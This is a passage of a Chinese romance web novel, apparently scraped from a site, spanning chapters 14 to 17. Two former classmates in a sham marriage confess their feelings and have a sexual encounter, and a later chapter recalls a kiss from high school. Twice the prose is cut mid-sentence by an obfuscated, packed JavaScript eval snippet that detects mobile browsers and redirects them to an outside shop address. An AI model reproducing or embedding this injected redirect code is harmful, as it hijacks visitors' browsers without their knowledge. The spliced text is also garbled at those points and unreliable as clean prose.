他死在看恐怖电影的时候，血腥四溅的场景惊吓到他，那颗不堪重负的心脏终于坏了，他就四肢抽搐地倒在地上，苍白隽丽的脸上布满了对死亡的哀伤，泪水从小鹿般的眼角流下来。 还有一次，他死在雷雨交加的夜晚，离黎明只有一步之遥的距离。他只要在咽气之前睁开眼睛，就能看到窗外朦胧的春意。但是他死在最后一道绝望的雷声里，他惊悸不止，手脚冰凉。 我吓得缓缓睁开眼。 突然想到，我竟然没有见过黎玉钟掉眼泪。即便是我这样曾经和他那么亲密、朝夕共处的人，我都没有见过他自发地流眼泪。他除了被咳出眼泪，真的，他比我以为的那个娘娘腔要坚强多了，尽管我总是嘲笑他身娇体柔，一点事都做不好。想也知道这样嘲笑他的别人有多少，黎玉钟却从来没有成长出一丝恶意，其实我不想说，这么多年来我嫉妒的，是曾经的自己。 我嫉妒曾经那个并不了解黎玉钟，甚至也不屑于去了解，却可以无条件地获得他的好的自己，我之前信誓旦旦说黎玉钟拒绝我一定会后悔的，我后悔得比他更早，我后悔没有更多了解他。 如果那时候我多体谅他，不那么自大，穿上他的鞋子走一走，会不会有什么变得不一样呢？ 可《杀死一只知更鸟》还说，可真当你走过他的路，你连路过都觉得难过。有时候你所看到的并非事情真相，你了解的不过是浮在水面上的冰山一角。我知道的不过黎玉钟的冰山一角。 我颓然地望向窗外。 我永远没机会了解他了，那时候的他，他究竟怎么想的？黎玉钟不再是我高中时期最美好的那一颗珍珠，他变成生长在我心中的一根倒刺，一瓶魔药，一片怎么也走不出去的林中迷雾。 但不可否认的是，即便这么多年和他没有联系，但他最青涩、最值得我喜爱的模样仍然封存在我脑海，至于后来的他，那不是我拥有的他，我也无暇评判。可每当我迷失在道路中途，当我有点分不清方向，焦躁地团团转的时候，黎玉钟那双忧郁而清醒的眼睛，总能让我平静。 总是这样的。 无一例外。 我坚持如此想，是因为我不了解黎玉钟，他也并非如我以为的那样，珍重我，甚至厌恶我，这就是我和他再无后续的理由。但现在告诉我，他冰山之下的，还有被命运捉弄的那一部分。 那我算什么？ 这么多年以来耿耿于怀的、自省的我算什么？黎玉钟如果喜欢我，当时的他就喜欢我，那么命运玩弄的东西究竟是什么？我的大脑一片空白，相信我，如果你被上天这样款待，你也会流出无措的泪水。我已经分不清自己在说什么，那块冰山之下的东西，它是否会把我砸伤？ 抱住我，挽留我。 否则我就走。 我就离开，黎玉钟，你知道我的，我什么都可以不要，除了那一点尊严。这是你这么多年来让我寝食难安的代价。尽管我知道你没做错什么，但我要你偿还，你知道因为什么吗？因为你终于被我抓住了，再一次，被我逮住，让我发现你对我的私心，我不能轻易叫你逃脱了。 说爱我， 说， 说啊。 我死死地捏住门把手，等待，这个过程像是把我抛到半空中，又毫无征兆地摔落。每一次他绵长的呼吸，都是我向死而生的过程，明明是沉默的十几秒钟，我却觉得比一辈子还要漫长。 直到， 黎玉钟从身后抱住我。 他的脸埋在我的肩窝里，我简直忘记了该怎么呼吸，我的浑身都发抖得厉害，就像被雨打湿。我的眼泪一颗颗地冒了出来，死死咬住牙，不让自己哭出声。他却发出两声轻微的抽泣声，在我的耳畔，一瞬间我的耳朵就融化了，他的唇贴在我的脖颈处，鼻息扑洒，急促地喘息。 他说：“别走。” “我喜欢你。” 15. Chapter 15 伴随着这声来自黎玉钟的“我喜欢你”，我的心终于盖棺定论。缺氧的大脑重新冷静下来，我一寸寸地，让微冷的空气浸润我火燎的喉管，我如果现在张嘴说话，声音一定是嘶哑的。 啊。 我。 真没必要哭的，真是，我已经不是从前的我了，我的心智早就成熟了，况且黎玉钟于我而言，难道就是那么重要的存在？得不到他，就会死吗？又不会，这么多年我不都好好地过来了？ 所以我真没必要，该死的，哭什么。我胡乱地抹着泪水。黎玉钟还紧紧地抱着我，双臂环在我的身前，他的气息像月光从头顶倾泻而下，像我无法抵挡的潮水。他有什么好哭的？他。他不明白这些年我的难宣于口，我的纠结和隐忍，我的骄傲，他既然喜欢我，干嘛要犹豫。 喜欢一个人，就应该费尽心思地讨好她、靠近她，有了她就有了一切，没有她就失魂落魄。只有这样的爱才配得上我全心全意的爱，我的爱怎么可以给一个连话都讲不清楚的胆小鬼？ 傻子。 笨蛋。 你说啊。 我说：“那你就说，你为什么不说啊？” 我转过身，恶狠狠地瞪着他，抬手抹去脸上的泪水。我推了推他的肩膀，强迫他的脸从我的肩膀上挪开。望着他那双浸润了泪光、支离破碎的眼睛，我好多兴师问罪的话没办法说出口。 “……我不敢。”他说。 “谁让你不敢的！”我的眼泪又掉了下来，“啊？你这么多年没长进？一句话都说不出口？你不是很会说吗？不是早就和以前不一样了吗？你有胆量找我演假结婚，没胆量说真话？” 他不说话了，又在悄悄地掉眼泪。我不明白哪里有那么多眼泪好掉，早不掉晚不掉，偏偏等我戳破他谎言的时候才掉。我自己也是没用，没完没了地掉眼泪，哭得整个人上气不接下气。 “对不起。”他只说，“我不是有意骗你的。” 我不要听那个！我揪住他的衣领，破口大骂：“你现在道歉有什么用？当初干什么去了？这么多年你不主动联系我，任何有我的场合你都避开，你喜欢人就是这样喜欢的？谁教你的？” 他张了张嘴，然而，像被掐断了声带，没有任何声音滚落出来。我一眨不眨地盯着他，生怕错过他说的每一句话，每一个字。但他不说话，急得我都要疯掉了，他才堪堪挤出几个字。 “你又不喜欢我。” 我说你凭什么那么想，那么曲解我，我什么时候说过我不喜欢你。我的气血往脑子里面涌，以至于我忘记，我确实说过，但我以为他不在场，是的，我为了虚伪自己的面子，撒了谎。 他望着我，泪水打湿了面庞，波光粼粼的眼中有了更多的情绪，不信任、怀疑、迟疑。我连着问了好几遍，他说，毕业典礼之后的聚会上，他听见我那样说了。那时候！我的气血又一股脑的涌到面颊上，他下一秒就立刻说：“我不是故意偷听的，别在意，你有讨厌谁的权利。” “那我就是说谎了！！” 我流着泪大吼。 终于，说了出来，承认自己的谎言，比我想象得既不容易，又太容易。与此同时，黎玉钟的宽容也刺激了我，什么叫做“不是故意偷听的”，什么又叫做“你有讨厌谁的权利”？他就那么想我吗？我如果真的讨厌一个人，怎么会半夜打开房门，让他进我的被窝里哄着睡觉？ 我是那么好心的人吗？ “我就是说谎了，我喜欢你，说成讨厌你了？怎么样？你给我一巴掌，啊？跟我打一架吧！”我梗着脖子朝他大喊，“你当时就应该冲进来骂我，是你自己胆小，你连质问我都不敢！” “你算什么男人，有什么本事？你装什么大度，逞什么英雄？”我语速愈发轻快，出口的话语像利剑重伤他，“你也就只敢在背后打打池建生了，你，你这么多年就只会这个！我起码比你厉害，我还想着你生日的时候跟你告白，你喜欢我，又不说，那你的喜欢也是一文不值！” 他涨红了脸，“……不是。” “怎么不是？”我冷笑，“你不承认那时候疏远我，就算我说谎，又被你听到，那也不是你一句话也不说的理由！你没必要装苦情，黎玉钟，你有那么硬气吗？上学的时候天天粘着我，说要和我做朋友的人是你，拉着我过生日看恐怖片的是你，半夜敲响我房间门的，也是你，你无非是觉得配不上我，觉得我不可能喜欢你，是你自卑，绝对不是因为我配不上你——” 他突然把我摁在怀里。 “是的。”他的声音好轻，伴随着难挨的喘息，“别生我的气，也不要那样说我，会不舒服。” “怎么个不舒服法？”我问。 他嗫嚅。 “心里不舒服。” “那个叫难受，叫伤心、难受。”我攥住他的衣襟，“你要说出来。什么事你都要说出来，对我不能有任何的隐瞒。以前我是你的好朋友，你就不能骗我了，以后，也不准对我撒谎。” 我抬头看他，他轻轻地咬着嘴唇，脸颊红润得能混进一堆玫瑰花里。在暗淡的夜光下，他的眼睛被泪水模糊得湿漉漉的，泪珠从眼角一滴一滴地落下来，他一哭，我就忍不住也想哭。我心想他千万不要再哭了，我捧住他的脸，用指腹一点点揉蹭他的泪水，问，你知道错了没。 他说：“知道了。” “你以后什么都要和我说。” “嗯。” “讨厌我也要告诉我。” “呜……”出乎我的意料，他竟然双手掩面地哭出了声。黎玉钟的肩膀轻轻颤抖，退后两步，在我讶然的视线下，他像个闹脾气的孩子，带着哭腔说，“别这样说我啊……我不讨厌你……” “诶！”我一下子慌了，“别哭了！” ——“他哭了一整晚。” 突然想到高中同学说的那句。黎玉钟，他真的因为我那句嘴硬的“不喜欢”而哭了一整夜吗，那个时候的黎玉钟，啊，因为喜欢我，误以为被我讨厌，所以才……好吧，那我有点明白了。 我走近两步，去掰他捂着脸的手，竟然掰不开。“好了，”我说，“都多少岁的人了，还和以前一样，听不了重话，行了行了，我知道你不讨厌我，黎玉钟，嗯？让我看看你在偷哭吗？” 他死死地掩住脸。 “没有。” “那让我看看，行吗？” 他竟然说：“不行。” “好啊！”我一下子气笑了，抬手去拧他的耳朵，“黎玉钟。你喜欢我就这个态度，是不是？还像以前那样对我爱答不理的，是不是？你还跟我假结婚呢，你这家伙，你什么都不是！” 我拧他的耳朵，让他不得不松开捂住脸的手。黎玉钟抬手攥住我的手腕，然后，缓缓地将我的掌心挪到他脖颈上。热熨、滚烫的，清晰的脉搏，我能感受到的跳动，真实地，在我眼前。 不是梦里， 不是幻想的， 就是现在，此时此刻。 在我面前的黎玉钟，脸上还有未干的泪痕，落地窗外的月光，晕染在他的鼻梁上，一粒泪珠悄然从鼻尖坠落。他那样脆弱，这些年从哪里佯装的坚强？竟然能把自己打扮得那样光鲜。他现在可怜的模样，分明和多年前没有任何区别，只要看到他的眼泪，我就忍不住缴械投降。 黎玉钟八成是我的克星。 我拿他没有任何办法，好多年前，他就那样傻乎乎的闯进我的世界，还带走了我一部分的心，现在他不是来归还，而是要带走更多。他从哪里学会的，骗我陪他演结婚游戏？有这样追人的吗？他怎么就不能走一般人求爱的程序，不带这样的，直接把人骗上户口本算什么本事？ 他还纠结我刚才说的话。 “我不是什么都不是……” “那你是什么？”我问。 他想要擦眼泪，被我摁住，一定要先回答我的问题。他不知道怎么说，只是一味地说他不是胆小鬼。他到底是不是，我其实再清楚不过，如果我是他，那样胆怯的家伙，好不容易迈出了喜欢的一步，确认感情对他来说已经是相当不易的事了，又听到我说讨厌他，他肯定哭死。 肯定会一蹶不振，再也不与我往来，我没想到他表现出来的不及应有的十分之一，以至于我压根没发现他误会。养过猫的人说，这是一种非常能忍痛的动物，不到痛得受不了绝不开口。 他比那个还能忍耐呢。 “吻我。”我不去想别的。 我的心， 比以往的任何时候都要悸动。 我高傲地抬起头，等待他的吻落在我的嘴唇上，这个过程就不是很漫长了，因为我知道他的心意，我获得他无非就是早晚的事。我对有把握的人或事从来不急躁，我像猎人一样狩猎他。 能感受到黎玉钟的迟疑，他生疏于与人亲近，都二十七八岁的人了，还不会这个。他低头，鼻息落在我的脸上，好像替嘴唇提前吻过一次，所以等他再吻的时候，就显得没那么促狭。 一下，又一下，他那羞羞答答、一副不情不愿的样子，就好像我存心为难他，折辱了他。我知道他喜欢我呢，但是，太慢了，我等不及了，我已经等了十年，从我给他的第一个吻，到现在，漫长的跨度让 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16808390|190758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我丧失了所有耐心，如果十年前，我还真愿意和他循序渐进。但是现在。 我不想等了。 真的。 早知道我做什么，如何对待他，他都不会反抗，我当时如此殚精竭虑是为什么？我的内心戏演给谁看？他和命运一道拖沓我，虽然不是他的本意，他也是受害者，但我要他接受惩罚。我扣住他的后脑勺，迎了上去，带些力气地吮咬他，能感觉到他僵硬了一瞬，然后才慢慢地拢住我的手，放在他的脸颊上，告诉我他不抗拒。这轻微的肢体反应比他的吻让我疯狂，把自己送到嘴边，他是我二十七岁最好的礼物，在这一年我终于得偿所愿，得到爱而不得的人。 黏黏糊糊的吻，分开时，他的嘴角还是亮晶晶的，那股意犹未尽让他轻微地低了低头，视线寻在我的嘴边，我终于能读懂那动作。一旦清楚了答案，再看解题的过程，我一瞬间就明了。 我问他，是不是很喜欢。 他不回答我，总感觉羞于启齿，我没有说，其实我也是。如果这时候他问我喜欢不喜欢，我也会顾左右而言他，或者说些反话，可还好黎玉钟连问的勇气都没有。想起昨晚假借排练的名义吻他，他当时是什么感受？我当时完全没想，我以为他在忍受和没感觉的人做难堪的事。 他那么喜欢我，我亲他，他肯定高兴死了，装什么装呀？我索性掰正他的脸，叫他直视我。别耍小脾气，好好说，喜欢还是不喜欢？他沉默片刻，额头贴在我的额头上，小声说喜欢。 “你要说出来的，”我蹭了蹭他的鼻尖，情不自禁地闭上眼睛，温柔地说教他，“什么事，都要说出来，我才懒得去琢磨你，你不说，我就永远不知道，你难道想让我永远不知道吗？” 不想，他说。 为什么又一副泫然欲泣的表情？ 为什么那么委屈，我在想，不过是面对面地流一些眼泪而已，为什么我也感觉到好幸福，都不舍得打破这份美好的静谧。我想再次吻这个人，还得等他缓和好情绪，哈，我从未在一个男人身上付诸如此多的耐心，我唯一的初恋给了他，唯一的初吻，他注定是和别的人不一样。 “宝贝，”我反复地蹭他的鼻尖。 “……啊！”他像被我的话烫到那样，惊讶地望着我，我像那种不会说情话的人吗？我早就在情场之中游刃有余了。我又喊了两声宝贝，他紧紧地抱住我，他的心咚咚跳，那么明显。 “你害羞什么？”我蹙着眉头，轻轻地拍了拍他的后背，“一惊一乍的，我以为怎么了呢。” 他说：“我喜欢听……” “听我喊你宝贝吗？” “嗯。” 这回很肯定了，我心想，真不容易啊。还没来得及松一口气，就感觉锁骨上又被打湿一阵，捧起他的脸一看，哇，怎么又哭了？我真的没辙了，我就好声好气地问：“到底哭什么啊？” 他摇了摇头，有点着急，说自己也不知道。我没办法从他的眼泪中分辨出那是幸福还是委屈，他哭得那样梨花带雨，也让我心疼，但是，真的要一直这样哭下去吗？他保准要把那双漂亮的眼睛也哭花了，我问他要变成瞎子吗，他也说不是的，他带着他那湍急的哭腔对我解释。 “我觉得像在做梦……” 原来是太高兴了。 那也要哭，唉，今天可是结婚的日子，你就这样以泪洗面了，不知道的人还以为你跟了我，受天大的委屈呢。好了，再哭下去就不好看了。他说他知道的，他知道我最讨厌扭捏的人。 我感觉黎玉钟是反应了一会儿，在我也喜欢他这件事上，他没那么容易自洽。等他消化好了，又不流眼泪了，把脸凑过来讨要一下，我想他也喜欢和我接吻的感觉，心里肯定酥酥麻麻的。 “还想亲吗？”我问。 他点头，正合我意，于是我们又接了一会儿那所谓黏黏糊糊的吻，就永远都断不开的那种，要么他亲我，要么我亲他，我以前也不是喜欢亲嘴的人啊，怎么和黎玉钟搞起来就没完没了？ 亲得够久了，我就往别的地方去，我在想，是不是今天就把事给办了。我等不及了，再等下去恐怕要废掉了，但我又怕吓到他，怕他接受不来。我在乎他的想法，不能随便地要了他，他要是事后又抱着被子在那里哭，我真的没办法。我的手落到他紧绷的小腹，果然就被攥住。 “好痒。”他低下含羞的面庞。 我侧了侧脑袋，思索。 直接问他：“做吗？” 对视，两三秒。 我起身：“我先洗澡，你去买。” 他立刻从沙发上起来，匆匆出门。 16. Chapter 16 黎玉钟从浴室里出来的一瞬间，我立刻闻到那股浓郁的薄荷茉莉香气，我最无法抗拒的味道。我停下手头在做的事，放下了剧本。他垂眸，目光不知安放在何处，问我是不是等得太久了。 “没有，反正闲着没事，看看本子。”我笑着和他对视上，“不过，你的确洗了半个小时。” 他抿了抿唇，半湿的发丝落在额前，扫下一道影，“洗了两三遍，抱歉。”他在床边坐下，我抬眉，问他为什么要洗两三遍。他对接下来会发生的事闭口不谈，纤长的眼睫颤了又颤。 “过来。” 我朝他伸出手。 他完全信任地把手递给我，我牵住他的手腕，轻轻一拉，他就来到我的怀里。他怎么还有种什么也不懂的新人美？他懵懂而试探地抱住我，手臂压到我的头发，我歪着脑袋扯开，发觉脖颈被烙下一吻，那个吻就像偷腥一样，黎玉钟也就像偷腥的猫，亲一下，就要看我一眼。 “……继续。”我颔首。 一定要给予他预期的反应，才能促进他接下来的行为，他就像刻板的乖学生，不弄完这道题就绝不进入下一个步骤。我们在这个上面绕了好久，我的身体都快烧起来了，他还在磨蹭。 “黎玉钟，”我蹙着眉催促，“再这样下去天都要亮了，你亲了那么久，还没什么反应么？” “啊。”他也有点晕了，我去扒他的浴袍，他还是怯生生地攥紧衣襟，不知道在想什么。我心想该不会要我演霸王硬上弓的戏码吧，就听见他微弱的请求，“能不能……把灯关掉……” “什么？”我以为自己听错了。 要关灯，黎玉钟骨节分明的手指扣在浴袍腰带上，扯了扯，闷闷地说，真的不想开着灯做。 唉。处男。 我其实不是很想，毕竟黎玉钟不是别的男人，那可是我暗恋了好久的，如今好不容易采撷到，却要吃得那么囫囵。关了灯就没滋味了，我想说，但看他一副快要被吓死的表情，还是算了。 第一次， 难免紧张。 所以我问：“紧张吗？” 黑暗之中，他那双无辜的眼睛缓慢地眨动，里面流转着忧郁和激动的色彩。褪下衣物的过程，想必让他煎熬，他几乎是背对着我的。他实在没必要，他真的不是以前那个瘦弱的黎玉钟了，即便我更喜欢那个瘦得有点硌人的他，现在的他也肌肉丰盈，肩宽体长，是很饱满的成熟。 多年前是青涩的葡萄，咬起来是微酸的、涩口的，淡绿的外衣包裹着不够甜蜜的果肉；多年过去就完全熟了，拨开他深紫色的外衣，里面的汁水多得快溢出来，这么多年没人替我品尝。 只有我自己来。 他太害羞了，关了灯，又要把我和他埋在被子里，说这两天没练，怕状态不好。我立刻笑了，说你以前不是这样的人啊，怎么身材焦虑比我一个演员还重，你瘦得和竹竿一样的时候我都没嫌弃你。他小声地说那不一样。窸窸窣窣的摩擦声，皮肤和棉料擦过，被窝里暖烘的干燥。 哪里，他小心翼翼地探索。 我引你，我说，不明白我的配偶为什么要用那样小的音量说话，就好像我们是在偷情一样。光明正大吧，又不是需要遮遮掩掩的学生时代，要让他知道，这是正常，并且合法合理的事。 “这件不脱？”我问。 “……那就什么也不剩了。” 废话，我冷笑，就是要什么都不剩啊，你都剩多少年了，大剩男，你还想剩什么。他烦的来，在这种关键时候扭扭捏捏，我含住他的耳朵，就听见他短促地“啊”了一声，真爱乱叫唤。 “闭嘴，”我命令，“专心感受。” 我就听见他的喘息渐渐慢下去，然后变得沉闷而有节奏。在漫无边际的黑暗中，逐渐我能看清楚他，他的脸，他的手，锁骨，胸膛，小腹，一切，就像人在洞穴里行走，适应那份微弱的光亮，又适应那狭隘的逼仄，最后适应蹒跚行走的曼妙。黎玉钟，和你在一起，就很幸福。 我没所谓别的。 我没有和你说，也不会和你说，无所谓是十年前的你，还是十年后的你，只要是你，怎样我都满意。你让我太过满意，我也会不自觉地轻蹭你的脸颊，亲吻你汗湿的指缝，馈赠着你。 我在爱自己的时候， 没有忘记爱你。 夜长梦多， 我要尽快得到你。 所以我没有问黎玉钟什么感受，虽然是他手足无措的第一次，但我主要以自己的快乐为准。他那么聪明，想必很快也能学会的，来去几个姿势，几种感受，挥洒一些汗液，还有泪水。 总是哭。 啊。 真是太可爱啦。 我喜欢这样的黎玉钟，在他还没来得及搞懂一切的时候，最单纯最青涩的时候，我要狠狠地占有他，至于那之后他会不会报复回来，不是我考虑的范畴。并且他那么善良，总会体谅我，这样的人要承受善良带来的代价。十年如一日的喜欢我，他的忠诚值得我给他最刁蛮的惩罚。 亲一下我吧，他说，眼泪从红得能滴血的眼角流出，流到高挺的秀气的鼻梁上，流过被枕头压着的半边脸颊，在棉白的布料濡上一小块湿漉漉的影子，像郁闷的乌云，软绵绵的闪电。 他原来在床上这么粘人。 他这么依赖我，却这么独立，这些年没有来找过我。我时常感到孤独，也有过别人，黎玉钟什么都没有，他却表现得一点也不孤单，他是怎么做到的，我真好奇他按捺住的秘诀是什么。 “这么爱我，怎么没来找我？” 当我这样问的时候，他可能快要到了，抬起手压住自己流泪的眼睛。急促的喘息从喉间滚落出来，闷哼，就像雨点打湿了叶面，雷暴的时候人人自危，我要毁坏他，他只能无力地承受。 “说啊，为什么？” 我逼得很紧，但是他最后也没有说。结束的时候，他依旧不松手地抱着我，蹭我的发梢，说再等一会会儿。他的声音变得有些沙哑，是饱尝之后的倦怠，我心想，怪性感，怪诱人的呢。 “不许这样喘给别人听。”我说。 他说，怎么可能，顿了顿又疑惑，他真的喘了吗。装什么傻啊，自己多浪荡自己不知道吗，我于是凑到他耳边学，他羞不可耐地摁住我的脑袋，防止我继续喘下去，沉默片刻，小声问。 “……不喜欢吗？” 怎么可能。 “我不反感。”我只是这么说。开什么玩笑，我不能承认自己被他诱惑到，那算什么，他使一点小手段就把我的芳心给俘获了，搞得我想再跟他搞十几次，那我得多经受不住考验啊。还有，现在就敢翻身扣住我的手腕了，以后怎么样，这蹬鼻子上脸的小东西，还不得上天啊？ 趴在他的胸膛上，我感觉身上都是汗粘黏的怪难受，想起身去洗澡，他又把我拦住，说再等一会会儿。他说“一会会儿”的时候，总像在叹息，我抬起脸，仔细盯着他青筋勃发的脖颈，伸出手，在他的喉结上刮了刮。他抬手摁住，说真的好痒啊，我问他从什么时候开始健身的。 “你的病完全好了吗？” “嗯，很早之前就好了。” 我来了兴趣：“那你之前做到那本人生清单，你还记得吗？那一百件事，这些年你做多少了？” 他说：“做了好多了。很多以前没尝试过的事情，登高、攀岩、蹦极……之前因为羡慕那些口齿清晰的人，还给自己立了去打辩论赛的目标。”啊，那个我知道，我还在报道上看到你。 “你……看到我了？” “对啊，我记得是大二的时候。”想到那个时期，我就有点郁闷，对那时候心痒痒的自己，我不想承认他的勇敢，他的优秀，我只说，“哎呀，有的人，离开我之后变得那么风光呢。” “我不是离开你……我……” 他现在能敏锐地感受到我的情绪了，赶紧来抱住我，像犯错的小动物一样把脑袋往我的肩窝里蹭。但我任他撒娇了好久，他还是什么话也说不出来，支支吾吾的，反而别的地方硌到我。 “没话说，我就去洗澡了。” “先别去……” 我没问为什么，只是想知道他会怎么做。他吻在我的耳朵上，颈上，肩膀上。掀开了被子，冷空气和他湿润的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16808391|190758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鼻息一道打在我被汗沁润过的后背。我以为他只是想通过这个讨好我呢。 “啊，”我惊叫，“黎玉钟。” 唉。 什么情况？ 我把他从被窝里拽出来，他的眼睛还是那样亮澄澄的，就和星光一样，线条柔和的鼻尖湿得不正常，唇边还有一点黏糊的水渍。我感到好气又好笑，到底在干什么啊，怎么想出来的，我不会舍得他做那种事的，而且他不会，也舒服不来。我用指腹擦去他下巴上的残留，问。 “到底要说什么？” 他埋头不语。 我说，没必要用这种方式来讨好我，这种□□不适合你，你乖乖地躺在那儿就好了。他于是懵懂地点了点头，又问我，是不是他做的不好。我只能委婉地说，你应该再练一练，至少，不能乱舔一通。他软糯糯地嗯了一声，还是不撒手，我好整以暇地问他，你到底想做什么呢？ 他不说话，手指蹭了两下。 我于是明白过来：“再来一次？” 他眼睛立刻亮了起来。 行吧，我知道了。他干脆就说啊，我又不会拒绝，真的是。我懒得去猜他的言外之意，要做那么多阅读理解，就像哄小孩子一样，话说他床上床下真是两幅面孔，完全、完全不一样啊。 再一次，我真不行了，我说我要洗澡睡觉了。他可能也尽兴了，或者没有，总比第一次尽兴。我看他也是爽的不行了，提了裤子之后，整个人还挂在我身上了，一会儿这样一会儿那样。 我拒绝他一起洗澡的提议，主要怕自己也忍不住兽性大发。洗完换他去洗，这次就洗得很快了，带着那股甜美的、馥郁的、美人出浴的芬芳钻进被窝，不用我说，自然地环住我的腰身。 我拍了拍他的脸颊，“睡吧。” “嗯。” 良久的寂静。 等我意识到黎玉钟正在不停的亲吻我时。天光已经彻底亮了，金灿灿的阳光覆盖住我的眼膜，几缕暖红色的血丝像蜘蛛的结网。我没有睡很久，非常困顿，并且也打算继续睡下去，但他一直不停地吻我，柔软的唇，落在我的耳畔，下巴，肩膀和手臂，就好像永远也不会结束。 我皱着眉，“黎玉钟，你不困的？” 他的吻停顿住，澄澈而有磁性的声音包裹住我，他说他不是很困，问是不是吵醒了我。还好，我就是不明白他为什么还不睡，他说他可能是太激动了，闭着眼躺了会儿，怎么也睡不着。 “还是很高兴吗？”我问。 “嗯……”他又怕吵到我，但是，又很高兴，撑起他的手臂，让我枕到他的臂弯里。我本身是那种不管今天发生了天大的事，还是盖上被子睡大觉的人，我的心理素质是很强悍的，做艺人都是这样，休息和保持状态是第一位的，如果没睡好水肿，第二天一早就得去健身房了。 我泛着懒意和困意，百无聊赖地哄着他：“我给你讲一个秘密，讲完，你立刻去睡觉，好吗？” “好。” 我眯着眼，组织了一下思绪，一缕阳光正好落到我的指尖，吸引了我的注意力。我抬手想把它抓住，黎玉钟的手却覆了上来，代替阳光被我抓握住，然后缠绵地与我十指相扣，他问。 “什么秘密？” “高三的时候，”我感受到他的手越来越温柔，轻轻揉搓我的指骨。“高三下学期，有一次教室里没人，你在睡觉，你记得吗。我亲了你，就在我们的座位上，我从那时候开始喜欢你。” 我说罢，品味他的沉默。 他一定会很震惊的，我笑了笑，尽情地闭上双眼：“你肯定不知道，我喜欢你喜欢得那么早。” 但黎玉钟实在是沉默了太久，这个木头，我又睡了过去。阳光太刺眼了，一开始是这样的，但不知何时，黎玉钟的手覆盖住我的眼睛，他粗糙的掌根贴着我的眼睫。我又能酣然熟睡了。 我隐约听见他说了什么，又听不清。他附在我的耳边，却很含糊，像我怎么都抓不住的雾。 他说。 “李君同，其实你当时亲我的时候。” 又顿了顿。 “我是醒着的。” 17. Chapter 17 李君同，其实你当时亲我的时候， 我是醒着的。 只是当时我被吓着了，刚刚醒来，你的脸就凑在我的面前，那么近，我不知道怎么办才好，所以，只能装作睡着了。我的心怦怦直跳，你要做什么？我想睁开眼问你，但好像早有预料。 你的嘴唇贴上来。 其实，好吓人啊，我当时想的是，第一感觉就是很吓人。我的心快要跳出胸口了，为什么？你为什么那样对我做，不是朋友之间可以轻易做出来的事情，所以，我真的感觉你越界了。 难道你喜欢我吗？ 我怎么能那么想呢，你是我的朋友，好不容易愿意和我一起学习、生活，你真的是我交过的第一个朋友，你也教会了我很多为人处世的道理，我怎么能那么想你，你也不可能喜欢我的。 我还有点自觉，知道自己配不上。 所以你为什么亲我呢？我想你最好是临时起意，是恶作剧我，拿我找乐子，这样也比你对我有超出朋友的感情要好。我紧紧地闭上眼，装作什么也不知道，装作，被你刚刚叫醒的模样。 你说，醒了，回去吧。 好，我说，跟在你的身后。你余光都看不见我的时候，我悄悄摸着嘴唇被你触碰过的地方，心里还是很慌张，我刚才睡觉的时候不知道好看不好看，脸被压皱了吗？头发呢，凌乱吗？ 你太漂亮了，天底下所有的人都夸赞你好看，所以，我总是忍不住在意：在意和你在一起时，我的形象怎么样，我究竟有没有值得你和我做朋友的地方，还有，到底为什么要偷亲我呢？ 还是不知道啊。 所以我第一次失眠了。 除了打雷的时候，我很少失眠，这还是第一次没有外在的因素，因为我的心乱糟糟的，我就失眠了。熟睡的你和我只有一墙之隔，我有好几次忍不住想问问你，又觉得自己太矫情了。小说里总是有和我们同龄的人做更疯狂的事，你只不过给了我一个吻，那没什么惊心动魄的。 是的， 我并不因此面红耳赤。 可是从这一天开始， 一切变得奇怪了。 我发觉我没办法再拿朋友的眼光看待你了，我总是去琢磨那个吻的含义，就像琢磨我们之间已经维持了两三年的关系。李君同，你对我好，有时候对我凶，也是为我好，有时候又捉弄我，我也知道那是因为你和我是好朋友，我乐意被你捉弄，不是每个男生都有这样的机会的。 我为什么刻意区别于其他男生？ 我发现最近这些天，我对这个太敏感了。从前，你和别的男生有过多的交谈，我不会在意，因为你总是很受欢迎，是人群的焦点。假如有一天，突然一个男生都不看你一眼，那才奇怪。 现在我却那样希望。 你不知道我的内心发生了怎样的变化，真的，你绝无可能相信，我会变成一个自己都有点不齿的人——我竟然希望你不要和任何一个男生说话，沉默给他们，白眼给他们，拒绝给他们，就不要对他们笑，不要给他们任何一点好脸色，因为一旦他们知道你一个是多么多么好的人。 他们保不准就喜欢上你了。 我不希望有男生喜欢上你，原因有三：第一，我们现在处于高考的关键时期，任何多余感情都会影响学习和你考试的发挥，比起那些儿女情长，当然还是前程更重要；第二，青春期的男生大多浮躁，并且看人通常只看表面，他们只关注到你的容貌，却并不如我了解你的内心。 第三，我不希望。 反正我就是不希望，你知道么，有一天早上，你从学习委员的手里接过卷子，突然我就有了分外不舒服的感觉，我也不知道怎么形容，我的眼睛好像不能从你和他触碰过的指尖挪开了；还有一天下午，做大扫除的时候，你在擦教室外的窗户时，几个刚打完篮球的男生和你讲话，我顿时想把手里的消毒液给他们喷喷，他们浑身都是汗臭味，并且，衣服上也全是坏味道。 他们没什么好的。 可你和他们聊得挺高兴，聊得玻璃都忘记擦了，我只好走过去接过你的抹布，帮你擦起来。其实我就是想听听你和那些男生讲什么，他们怎么朝你笑得那样殷勤，说又有谁给你告了白。 